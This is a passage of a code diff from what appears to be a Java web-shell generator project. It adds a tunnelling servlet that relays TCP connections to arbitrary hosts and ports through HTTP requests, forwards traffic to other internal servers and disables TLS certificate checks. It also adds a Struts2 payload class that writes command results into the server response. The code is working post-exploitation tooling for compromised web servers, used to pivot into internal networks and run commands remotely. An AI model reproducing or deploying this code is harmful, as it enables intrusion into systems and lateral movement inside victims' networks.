+                byte[] data = (byte[]) dataMap.get("dt");
+                if (data.length != 0) {
+                    socketOutStream.write(data);
+                    socketOutStream.flush();
+                }
+            } else if (action == 0x03) {
+                continue;
+            } else {
+                return;
+            }
+        }
+    }
+
+    private void processDataUnary(HttpServletRequest request, HttpServletResponse resp) throws
+            Exception {
+        InputStream is = request.getInputStream();
+        BufferedInputStream reader = new BufferedInputStream(is);
+        HashMap dataMap;
+        dataMap = unmarshal(reader);
+
+
+        String clientId = new String((byte[]) dataMap.get("id"));
+        byte[] actions = (byte[]) dataMap.get("ac");
+        if (actions.length != 1) {
+            resp.setStatus(403);
+            return;
+        }
+            /*
+                ActionCreate    byte = 0x00
+                ActionData      byte = 0x01
+                ActionDelete    byte = 0x02
+                ActionHeartbeat byte = 0x03
+             */
+        byte action = actions[0];
+        byte[] redirectData = (byte[]) dataMap.get("r");
+        boolean needRedirect = redirectData != null && redirectData.length > 0;
+        String redirectUrl = "";
+        if (needRedirect) {
+            dataMap.remove("r");
+            redirectUrl = new String(redirectData);
+            needRedirect = !isLocalAddr(redirectUrl);
+        }
+        // load balance, send request with data to request url
+        // action 0x00 need to pipe, see below
+        if (needRedirect && action >= 0x01 && action <= 0x03) {
+            HttpURLConnection conn = redirect(request, dataMap, redirectUrl);
+            conn.disconnect();
+            return;
+        }
+
+        resp.setBufferSize(512);
+        OutputStream respOutStream = resp.getOutputStream();
+        if (action == 0x02) {
+            Object o = this.get(clientId);
+            if (o == null) return;
+            OutputStream scOutStream = (OutputStream) o;
+            scOutStream.close();
+            return;
+        } else if (action == 0x01) {
+            Object o = this.get(clientId);
+            if (o == null) {
+                respOutStream.write(marshal(newDel()));
+                respOutStream.flush();
+                respOutStream.close();
+                return;
+            }
+            OutputStream scOutStream = (OutputStream) o;
+            byte[] data = (byte[]) dataMap.get("dt");
+            if (data.length != 0) {
+                scOutStream.write(data);
+                scOutStream.flush();
+            }
+            respOutStream.close();
+            return;
+        } else {
+        }
+
+        if (action != 0x00) {
+            return;
+        }
+        // 0x00 create new tunnel
+        resp.setHeader("X-Accel-Buffering", "no");
+        String host = new String((byte[]) dataMap.get("h"));
+        int port = Integer.parseInt(new String((byte[]) dataMap.get("p")));
+        if (port == 0) {
+            try {
+                port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
+            } catch (Exception e) {
+                port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
+            }
+        }
+
+        InputStream readFrom;
+        Socket sc = null;
+        HttpURLConnection conn = null;
+
+        if (needRedirect) {
+            // pipe redirect stream and current response body
+            conn = redirect(request, dataMap, redirectUrl);
+            readFrom = conn.getInputStream();
+        } else {
+            // pipe socket stream and current response body
+            try {
+                sc = new Socket();
+                sc.connect(new InetSocketAddress(host, port), 5000);
+                readFrom = sc.getInputStream();
+                this.put(clientId, sc.getOutputStream());
+                respOutStream.write(marshal(newStatus((byte) 0x00)));
+                respOutStream.flush();
+                resp.flushBuffer();
+            } catch (Exception e) {
+//                    System.out.printf("connect error %s\n", e);
+//                    e.printStackTrace();
+                this.remove(clientId);
+                respOutStream.write(marshal(newStatus((byte) 0x01)));
+                respOutStream.flush();
+                respOutStream.close();
+                return;
+            }
+        }
+        try {
+            readSocket(readFrom, respOutStream, !needRedirect);
+        } catch (Exception e) {
+//                System.out.println("socket error " + e.toString());
+//                e.printStackTrace();
+        } finally {
+            if (sc != null) {
+                sc.close();
+            }
+            if (conn != null) {
+                conn.disconnect();
+            }
+            respOutStream.close();
+            this.remove(clientId);
+        }
+    }
+
+    public void run() {
+        try {
+            readSocket(gInStream, gOutStream, true);
+        } catch (Exception e) {
+//                System.out.printf("read socket error, %s\n", e);
+//                e.printStackTrace();
+        }
+    }
+
+    static HashMap collectAddr() {
+        HashMap addrs = new HashMap();
+        try {
+            Enumeration nifs = NetworkInterface.getNetworkInterfaces();
+            while (nifs.hasMoreElements()) {
+                NetworkInterface nif = (NetworkInterface) nifs.nextElement();
+                Enumeration addresses = nif.getInetAddresses();
+                while (addresses.hasMoreElements()) {
+                    InetAddress addr = (InetAddress) addresses.nextElement();
+                    String s = addr.getHostAddress();
+                    if (s != null) {
+                        // fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4  strip %wlan4
+                        int ifaceIndex = s.indexOf('%');
+                        if (ifaceIndex != -1) {
+                            s = s.substring(0, ifaceIndex);
+                        }
+                        addrs.put((Object) s, (Object) Boolean.TRUE);
+                    }
+                }
+            }
+        } catch (Exception e) {
+//                System.out.printf("read socket error, %s\n", e);
+//                e.printStackTrace();
+        }
+        return addrs;
+    }
+
+    boolean isLocalAddr(String url) throws Exception {
+        String ip = (new URL(url)).getHost();
+        return addrs.containsKey(ip);
+    }
+
+    HttpURLConnection redirect(HttpServletRequest request, HashMap dataMap, String rUrl) throws Exception {
+        String method = request.getMethod();
+        URL u = new URL(rUrl);
+        HttpURLConnection conn = (HttpURLConnection) u.openConnection();
+        conn.setRequestMethod(method);
+        try {
+            // conn.setConnectTimeout(3000);
+            conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)});
+            // conn.setReadTimeout(0);
+            conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)});
+        } catch (Exception e) {
+            // java1.4
+        }
+        conn.setDoOutput(true);
+        conn.setDoInput(true);
+
+        // ignore ssl verify
+        // ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java
+        if (HttpsURLConnection.class.isInstance(conn)) {
+            ((HttpsURLConnection) conn).setHostnameVerifier(this);
+            SSLContext sslCtx = SSLContext.getInstance("SSL");
+            sslCtx.init(null, new TrustManager[]{this}, null);
+            ((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory());
+        }
+
+        byte[] newBody = marshal(dataMap);
+        Enumeration headers = request.getHeaderNames();
+        while (headers.hasMoreElements()) {
+            String k = (String) headers.nextElement();
+            if (k.equals("Content-Length")) {
+                conn.setRequestProperty(k, String.valueOf(newBody.length));
+                continue;
+            } else if (k.equals("Host")) {
+                conn.setRequestProperty(k, u.getHost());
+                continue;
+            } else if (k.equals("Connection")) {
+                conn.setRequestProperty(k, "close");
+                continue;
+            } else if (k.equals("Content-Encoding") || k.equals("Transfer-Encoding")) {
+                continue;
+            } else {
+                conn.setRequestProperty(k, request.getHeader(k));
+            }
+        }
+
+        OutputStream rout = conn.getOutputStream();
+        rout.write(newBody);
+        rout.flush();
+        rout.close();
+        conn.getResponseCode();
+        return conn;
+    }
+
+    public boolean verify(String hostname, SSLSession session) {
+        return true;
+    }
+
+    public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException {
+    }
+
+    public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException {
+    }
+
+    public X509Certificate[] getAcceptedIssuers() {
+        return new X509Certificate[0];
+    }
+}
@@ -102,6 +102,8 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
                return WebLogicWriter.class;
            case Server.Apusic:
                return ApusicWriter.class;
+            case Server.Struct2:
+                return Struct2Writer.class;
            default:
                throw new GenerationException("responseBody not supported for server: " + probeContentConfig.getServer());
        }
@@ -0,0 +1,87 @@
+package com.reajason.javaweb.probe.payload.response;
+
+import java.io.PrintWriter;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+
+/**
+ * @author ReaJason
+ * @since 2025/12/8
+ */
+public class Struct2Writer {
+    private static boolean ok = false;
+
+    public Struct2Writer() {
+        if (ok) {
+            return;
+        }
+        try {
+            Class<?> clazz = Thread.currentThread().getContextClassLoader().loadClass("com.opensymphony.xwork2.ActionContext");
+            Object context = clazz.getMethod("getContext").invoke(null);
+            Method getMethod = clazz.getMethod("get", String.class);
+            Object request = getMethod.invoke(context, "com.opensymphony.xwork2.dispatcher.HttpServletRequest");
+            Object response = getMethod.invoke(context, "com.opensymphony.xwork2.dispatcher.HttpServletResponse");
+            String data = getDataFromReq(request);
+            if (data != null && !data.isEmpty()) {
+                PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
+                try {
+                    writer.write(run(data));
+                } catch (Throwable e) {
+                    e.printStackTrace();
+                    e.printStackTrace(writer);
+                }
+                writer.flush();
+                writer.close();
+            }
+        } catch (Throwable e) {
+            e.printStackTrace();
+        } finally {
+            ok = true;
+        }
+    }
+
+    private String getDataFromReq(Object request) throws Exception {
+        return null;
+    }
+
+    private String run(String data) throws Exception {
+        return null;
+    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
+        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+        Method method = null;
+        while (clazz != null && method == null) {
+            try {
+                if (paramClazz == null) {
+                    method = clazz.getDeclaredMethod(methodName);
+                } else {
+                    method = clazz.getDeclaredMethod(methodName, paramClazz);
+                }
+            } catch (NoSuchMethodException e) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        if (method == null) {
+            throw new NoSuchMethodException(obj.getClass() + " Method not found: " + methodName);
+        }
+        method.setAccessible(true);
+        return method.invoke(obj instanceof Class ? null : obj, param);
+    }
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws Exception {
+        Class<?> clazz = obj.getClass();
+        while (clazz != Object.class) {
+            try {
+                Field field = clazz.getDeclaredField(name);
+                field.setAccessible(true);
+                return field.get(obj);
+            } catch (NoSuchFieldException var5) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
+    }
+}